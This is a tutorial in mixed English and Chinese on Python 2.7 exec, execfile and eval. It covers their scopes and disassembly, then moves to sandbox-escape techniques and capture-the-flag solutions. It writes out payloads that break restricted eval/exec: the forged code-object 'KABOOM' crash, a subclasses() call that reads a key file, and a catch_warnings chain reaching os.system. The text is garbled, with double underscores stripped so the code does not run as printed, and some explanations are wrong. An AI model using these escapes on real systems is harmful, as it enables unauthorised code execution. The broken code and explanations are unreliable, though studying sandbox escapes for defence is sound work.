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[TOC]
(Based on Python 2.7)
Before solving the problem of Python sandbox escape, you need to understand some syntax details in Python. If you already know how to use the eval
function, you can skip the first and second parts and watch 3x00 directly.
To execute the content of an expression, you can use exec
or eval
conduct.
exec_stmt: "exec" expression ["in" expression ["," expression]]
Among them, ["in" expression ["," expression]]
is an optional expression.
exec "x = 1+1" print x #result: #2
exec "x = 'a' + '42'" print x #result: #a42
You can also execute multiple lines of code, just enclose it in three quotation marks:
a = 0 exec"""for _ in range(input()): a += 1 """ print a
On the one hand, you can use execfile
, its function is to execute the content of this file
#Desktop/pytest.txt print 'Gou Li Guo Jia Sheng Si Yi'
#Desktop/pytest.py execfile(r'C:\Users\Think\Desktop\pytest.txt')The output result of
pytest.py
is:
Gou Li Guo Jia Sheng Si Yi
execfile
The contents in pytest.txt
are executed. Note that Execute instead of Read , if the content in pytest.txt
is 'Gou Li Guo Jia Sheng Si Yi'
, then it will not get any output.
Of course, executing a .py file is also possible. The requirement for executing .txt files is that the content in the txt file is ASCII. It's better to execute a .py file rather than a txt file.
This kind of execution actually directly copy
the contents of the file pointed to by execfile.
For example:
#C:/Users/Think/Desktop/Mo.py #coding:utf-8 a = 2 print '稻花香里说丰年,听取蛤声一片'
#C:/Users/Think/Desktop/pytest.py a = 3 execfile(r'C:\Users\Think\Desktop\Mo.py') print a
At this time, the result of pytest is:
稻花香里说丰年,听取蛤声一片 2
In fact, it is to completely execute the contents of the file... rather than execute it as a function call.
Use exec directly, which is also the content of the executable file, but you can use in
expressions to use Global Variables domain .
#C:\Users\Think\Desktop\test1.txt print poetry
#pytest.py result={'poetry':'苟利国家生死以'} exec open(r'C:\Users\Think\Desktop\test1.txt') in result
b = 42 tup1 = (123,456,111) exec "b = tup1[2]" print b
The output result is
111
exec
Supports two optional parameters, and does not support keyword-specified parameters.
Python adopts staticscope (lexical scope) rules, similar to C++. The variable is available within the function but not outside the function.
In the Pascal language, dynamic scope is used, that is, the variable will exist once the function is executed. For example, a function f
is nested in function g
. When the program is executed to f
, it will search for the variables in the expression in f
. If If you can't find it, look for it in the outer layer. If this variable exists in g
at this time, use this variable. If it does not exist, continue to search outward layer by layer.
It should be noted that exec
is a grammatical statement (statement), not a function (function), and execfile
is a function .
The reasons are as follows:
Print external variables directly in exec
:
b = 42 tup1 = (123,456,111) exec "print tup1[1]" #结果为 456
Print external variables in the function:
b = 42 tup1 = (123,456,111) def pr(): print tup[1] pr() #结果: #NameError: global name 'tup' is not defined
exec_stmt: "exec" expression ["in" expression ["," expression]]
globals
is dict
Object , which specifies the global variables required in exec
.
globlas
is equivalent to globals()
locals
Equivalent to the value of the globals
parameter
1, globals
#coding:utf-8 k = {'b':42} exec ("a = b + 1",k) print k['a'],k['b'] #结果: #43 42
in the code segment, the value in exec
It is locals
, which comes from the specified k
, that is, globals
.
And, globals is taken from the global variable and acts on the global variable.
2,locals
g = {'b':100} exec("""age = b + a print age """,g,{'a':1}) #结果: #101
Comparison:
g = {'b':100,'a':2} exec("""age = b + a print age """,g,{'a':1}) #结果: #101
You can see that compared to exec
, it has three internal variables, namely age , b, a
After formulating, b comes from g (global), and a comes from the customized local variable.
It can be seen that local is taken from local variables and acts on local variables.
In order to verify this conclusion, slightly modify:
g = {'b':100} exec("""age = b + a print age """,g,{'a':1}) print g['a'] #结果: #101 # print g['a'] #KeyError: 'a'
As you can see, a
does not affect the dictionary g
(global), while the above number In the globals
mentioned in the section, the key value a
has been filled in the global dictionary g
.
The following conclusions can be made:
We divide the content included after exec
into three parts: p1, p2, p3
exec ("""p1""",p2,p3)
The first partp1
, the content is the content to be executed;
第二部分p2
,其中的内容来自全局变量,会在上一个变量作用域当中寻找对应的值,并将其传递给表达式,如果不存在p3
,p1
中的结果会传回全局变量;
第三部分p3
,其中的内容是局部的,将用户在其中自设的局部值传递给p1
,并且在局部中生效,如果在外部引用此处用到的值将会报错。
#use `exec` source code import dis def exec_diss(): exec "x=3" dis.dis(exec_diss)
# use `exec` disassembly 4 0 LOAD_CONST 1 ('x=3') 3 LOAD_CONST 0 (None) 6 DUP_TOP 7 EXEC_STMT 8 LOAD_CONST 0 (None) 11 RETURN_VALUE
#not use `exec` scource code import dis def exec_diss(): x=3 dis.dis(exec_diss)
#not use exec disassembly 3 0 LOAD_CONST 1 (3) 3 STORE_FAST 0 (x) 6 LOAD_CONST 0 (None) 9 RETURN_VALUE
指令解释在这里:http://www.php.cn/
简要说明下,TOS
是top-of-stack
,就是栈顶。LOAD_CONST
是入栈,RETURN_VALUE
是还原esp
。
其中两者的不同之处在于:
# use `exec` disassembly 6 DUP_TOP #复制栈顶指针 7 EXEC_STMT #执行 `exec TOS2,TOS1,TOS`,不存在的填充 `none`
也就是说,def
函数是将变量入栈,然后调用时就出栈返回;而使用了exec
之后,除了正常的入栈流程外,程序还会将栈顶指针复制一遍,然后开始执行exec
的内容。
eval
用以动态执行其后的代码,并返回执行后得到的值。
eval(expression[, globals[, locals]])
eval
也有两个可选参数,即 globals
、locals
使用如下:
print eval("1+1") #result: #2
1,globals
类似于 exec
:
g = {'a':1} print eval("a+1",g) #result: #2
2,locals
k = {'b':42} print eval ("b+c",k,{'c':2}) #result: #44
#use_eval import dis def eval_dis(): eval ("x = 3") dis.dis(eval_dis)
#use_eval_disassembly 3 0 LOAD_GLOBAL 0 (eval) 3 LOAD_CONST 1 ('x = 3') 6 CALL_FUNCTION 1 9 POP_TOP 10 LOAD_CONST 0 (None) 13 RETURN_VALUE
比较:
#not_use_eval import dis def no_eval_dis(): x = 3 dis.dis(no_eval_dis)
#not_use_eval_disassembly 3 0 LOAD_CONST 1 (3) 3 STORE_FAST 0 (x) 6 LOAD_CONST 0 (None) 9 RETURN_VALUE
同样是建栈之后执行。
exec
无返回值:
exec ("print 1+1") #result: #2
如果改成
print exec("1+1")
这就会因为没有返回值(不存在该变量而报错)。
而 eval
是有返回值的:
eval ("print 1+1") #result: #SyntaxError: invalid syntax
如果想要打印,则必须在 eval
之前使用print
。
但是奇怪的是,为什么 exec
反汇编出的内容当中,也会有一个RETURN_VALUE
呢?
RETURN_VALUE
来源为了确定这个RETURN_VALUE
究竟是受到哪一部分的影响,可以改动一下之前的代码,
import dis def exec_diss(): exec "x=3" return 0 dis.dis(exec_diss)
3 0 LOAD_CONST 1 ('x=3') 3 LOAD_CONST 0 (None) 6 DUP_TOP 7 EXEC_STMT 4 8 LOAD_CONST 2 (0) 11 RETURN_VALUE
对比eval
的:
import dis def eval_diss(): eval ("3") return 0 dis.dis(eval_diss)
3 0 LOAD_GLOBAL 0 (eval) 3 LOAD_CONST 1 ('3') 6 CALL_FUNCTION 1 9 POP_TOP 4 10 LOAD_CONST 2 (0) 13 RETURN_VALUE
对比 eval
和exec
之后,会发现exec
使用的是DUP_TOP()
,而eval
使用的是POP_TOP
,前者是复制 TOS
,后者是推出TOS
。
在 C++ 反汇编当中,会发现对函数调用的最后会有 POP ebp
,这是函数执行完之后的特征。在 Python 中,eval
就是一种函数,exec
是表达式。这也解释了之前说的eval
有返回值而exec
无返回值的原因。
而最后的 RETURN_VALUE
,很明显可以看出并非eval
或exec
的影响,而是 Python 中每一个程序执行完之后的正常返回(如同 C++ 中的 return 0
)。
可以写段不包含这两者的代码来验证:
import dis def no(): a = 1+1 dis.dis(no)
3 0 LOAD_CONST 2 (2) 3 STORE_FAST 0 (a) 6 LOAD_CONST 0 (None) 9 RETURN_VALUE
所以,RETURN_VALUE
是每个程序正常运行时就有的。
在 Python 当中, import
可以将一个 Python 内置模块导入,import
可以接受字符串作为参数。
调用 os.system()
,就可以执行系统命令。在 Windows下,可以这么写:
>>> import('os').system('dir')
或者:
>>> import os >>> os.system('dir')
也可以达到这个目的。
这两种方法会使得系统执行dir
,即文件列出命令,列出文件后,读取其中某个文件的内容,可以:
with open('example.txt') as f: s = f.read().replace('\n', '') print s
如果有一个功能,设计为执行用户所输入的内容,如
print eval("input()")
此时用户输入1+1
,那么会得到返回值 2
。若前述的
os.system('dir')
则会直接列出用户目录。
但是,从之前学过的可以看到,如果为eval
指定一个空的全局变量,那么eval
就无法从外部得到 os.system
模块,这会导致报错。
然而,可以自己导入这个模块嘛。
import('os').system('dir')
这样就可以继续显示文件了。
如果要避免这一招,可以限定使用指定的内建函数builtins
,这将会使得在第一个表达式当中只能采用该模块中的内建函数名称才是合法的,包括:
>>> dir('builtins') ['add', 'class', 'contains', 'delattr', 'doc', 'eq', 'format', 'ge', 'getattribute', 'getitem', 'getnewargs', 'getslice', 'gt', 'hash', 'init', 'le', 'len', 'lt', 'mod', 'mul', 'ne', 'new', 'reduce', 'reduce_ex', 'repr', 'rmod', 'rmul', 'setattr', 'sizeof', 'str', 'subclasshook', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
这样,就可以写成:
eval("input()",{'builtins':{}})
就可以限制其只能使用内置的函数。
同时也可以将内置模块置为None
,如:
env = {} env["locals"] = None env["globals"] = None eval("input()", env)
但是这种情况下builtions
对buitin
的引用依然有效。
s = """ (lambda fc=( lambda n: [ c for c in ().class.bases[0].subclasses() if c.name == n ][0] ): fc("function")( fc("code")( 0,0,0,0,"KABOOM",(),(),(),"","",0,"" ),{} )() )() """ eval(s, {'builtins':{}})
(来自:http://www.php.cn/)
为了创建一个<a href="http://www.php.cn/wiki/60.html" target="_blank">object</a>
,要通过
().class.bases[0]
bases
类当中的第一个 元素就是元组(tuple),而tuple
就是一个object
.
lambda
这一段主要是构造出一个函数,这个函数要跑完 subclasses
来寻找一个object
。
这是一种情形。总的来说,就是跑一个通过object
假的bytecodes
.
从上述情况来看,eval
是不安全的。
这是一道 CTF 题目,只给了这个:
def make_secure(): UNSAFE = ['open', 'file', 'execfile', 'compile', 'reload', 'import', 'eval', 'input'] for func in UNSAFE: del builtins.dict[func] from re import findall # Remove dangerous builtins make_secure() print 'Go Ahead, Expoit me >;D' while True: try: # Read user input until the first whitespace character inp = findall('\S+', raw_input())[0] a = None # Set a to the result from executing the user input exec 'a=' + inp print 'Return Value:', a except Exception, e: print 'Exception:', e
make_secure
这个模块很好理解,看看下边的:
from re import findall
这是 Python 正则表达式的模块。而re.findall
可以寻找指定的字符串。
把这一部分单独抽离出来尝试一下:
from re import findall inp = findall('\S+',raw_input())[0] a = None exec 'a = ' +inp print 'Return Value:',a
运行后输入 1+1
,返回结果为2
.
构造
之前已经说过可以利用
().class.bases[0].subclasses()
在该题中,主办方搞了个在服务器上的文件,里边有 key
,而[40]
是文件,直接就可以了。
().class.bases[0].subclasses()[40]("./key").read()
#!/usr/bin/env python from future import print_function print("Welcome to my Python sandbox! Enter commands below!") banned = [ "import", "exec", "eval", "pickle", "os", "subprocess", "kevin sucks", "input", "banned", "cry sum more", "sys" ] targets = builtins.dict.keys() targets.remove('raw_input') targets.remove('print') for x in targets: del builtins.dict[x] while 1: print(">>>", end=' ') data = raw_input() for no in banned: if no.lower() in data.lower(): print("No bueno") break else: # this means nobreak exec data
[x for x in [].class.base.subclasses() if x.name == 'catch_warnings'][0].init.func_globals['linecache'].dict['o'+'s'].dict['sy'+'stem']('echo Hello SandBox')
给了这个:
#!/usr/bin/env python # coding: utf-8 def del_unsafe(): UNSAFE_BUILTINS = ['open', 'file', 'execfile', 'compile', 'reload', 'import', 'eval', 'input'] ## block objet? for func in UNSAFE_BUILTINS: del builtins.dict[func] from re import findall del_unsafe() print 'Give me your command!' while True: try: inp = findall('\S+', raw_input())[0] print "inp=", inp a = None exec 'a=' + inp print 'Return Value:', a except Exception, e: print 'Exception:', e
比较一下和上边的第一题有什么不同,答案是……并没有什么不同……
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